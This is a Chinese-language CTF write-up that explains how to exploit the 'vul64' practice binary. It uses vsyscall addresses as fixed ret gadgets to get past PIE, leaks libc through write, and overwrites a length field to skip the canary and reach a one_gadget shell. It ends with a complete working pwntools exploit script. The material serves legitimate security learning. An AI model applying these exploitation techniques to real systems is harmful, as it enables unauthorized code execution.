Pwn学习总结(18):VSyscall-vul64

实验平台:

x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-167-generic
GLIBC 2.27-3ubuntu1.4

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/VSyscall/vul64

这道题的来源是Chao Zhang, Tsinghua University。真诚的感谢Chao老师!

ELF信息:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

amd64架构,保护全开。

下面给出反汇编及反编译后的代码:(IDA原本反编译出的代码有一定问题,我做了修改)

void __fastcall main(int a1, char **a2, char **a3)
{
  char buf[64]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  write(1, "baby, hack meeeeeeee!\n", 0x17uLL);
  read(0, buf, 0x140uLL);
  __asm {
    lea     rax, [rbp+buf]
    add     rax, 40h ; '@'
    jmp     qword ptr [rax]
  }
}
__int64 sub_985()
{
  int v0; // eax
  char c; // [rsp+0h] [rbp-40h] BYREF
  char buf[51]; // [rsp+1h] [rbp-3Fh] BYREF
  int length; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, 0x30uLL);
  length = 0;
  while ( 1 )
  {
    if ( read(0, &c, 1uLL) != 1 )
      exit(0);
    if ( c == 10 )
      break;
    v0 = length++;
    buf[v0] = c;
  }
  puts(buf);
  return 0LL;
}
unsigned __int64 sub_A2C()
{
  ssize_t (**buf)(int, const void *, size_t); // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Impossible!!!");
  puts("You must be a hacker!!!");
  puts("Wait a moment ...");
  puts("I have a gift for yoooou");
  buf = &write;
  write(1, &buf, 8uLL);
  puts(&byte_BBC);
  puts("Want my flag? Keep going!");
  sub_985();
  return __readfsqword(0x28u) ^ v2;
}

这道题目,一看完源码就明白,应该想办法用第15行的jmp跳到sub_A2C()再进行后续的进一步操作。但是这道题目开了PIE,我们是无法知道sub_A2C()的具体地址的。那我们应该怎么办呢?答案是利用栈上已有的信息。

利用gdb+pwndbg进行调试:

在反编译后的第13行下断。

观察栈上的内容:

可以看到,栈上第0x1e个也就是第30个的数据的位置,非低12位基址就是程序的代码段基址,第8~11位也恰好是0xa,和sub_A2C()中的0xa2c也是恰好吻合的。又因为x86机器是小端法。所以我们只需要把0x2c写上去,再让rsp指向这个位置,再执行ret的gadget,就可以成功的让机器执行到我们想要的地方。

通过反编译的代码可以看到,rsp正好指向rbp+buf。因此我们需要在buf上填充30个ret的地址,再覆盖1字节的地址低位。就可以达到我们想要的效果了。

可关键问题是,程序开了PIE,我上哪里去找ret的gadget呢?这个时候我们要请出Linux的一个Pwn高级玩法——VSyscall[1]。

简单来说,VSyscall是为了方便用户执行一些非常简单,而无需参数的系统调用的设置的一个段。Loader会默认的把这个段加载进来。这些系统调用分别是gettimeofday、time以及getcpu。他们的地址都是固定的,分别为0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800。我们可以直接拿它当作一个ret的gadget进行使用。

更正参考资料[1]中的一个错误,经实验,在Ubuntu 18.04上,VSyscall段还是存在的。Pwn仍然能够正常运行。

因此,我们最基础的代码部分,就是:

ret_addr = 0xffffffffff600400
p.send(p64(ret_addr) * 30 + '\x2c')

可以使控制流重定向到sub_A2C()

接下来是一波常规操作,程序主动泄露write的GOT表内容,我们可以拿这个找到libc基址:

p.recvuntil("I have a gift for yoooou\n")
write_libc = u64(p.recv(8))
p.recvuntil("Want my flag? Keep going!\n")

libc = LibcSearcher('write', write_libc)
libc_base = write_libc - libc.dump('write')

程序第29\~37行的逻辑是,一个一个字符的读入。写到栈上的buf中。并且可以缓冲区溢出。而且还可以在写入的过程中控制字符的写入位置。

因此下面的代码是:

one_gadget_libc = libc_base + 0x4f3d5 # one_gadget Shift

p.send('0' * 0x33 + '\x47' + p64(one_gadget_libc)  + '\n')
p.interactive()

0x33个0用于填充buf,\x47用于写入length,使其跳过canary直接写入返回地址,后面直接接system("/bin/sh")的one_gadget即可完成整套流程。

因此整套exp代码如下:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
from LibcSearcher import *
import os
import time
import struct
context(arch = "amd64",os = "linux", log_level = "debug")

p = process('./vul64')
elf = ELF('./vul64')

# gdb.attach(p, "")

ret_addr = 0xffffffffff600400

p.send(p64(ret_addr) * 30 + '\x2c')
p.recvuntil("I have a gift for yoooou\n")
write_libc = u64(p.recv(8))
p.recvuntil("Want my flag? Keep going!\n")

libc = LibcSearcher('write', write_libc)
libc_base = write_libc - libc.dump('write')
one_gadget_libc = libc_base + 0x4f3d5 # one_gadget Shift

p.send('0' * 0x33 + '\x47' + p64(one_gadget_libc)  + '\n')
p.interactive()

参考资料:
[1] https://www.cnblogs.com/hawkJW/p/13600295.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注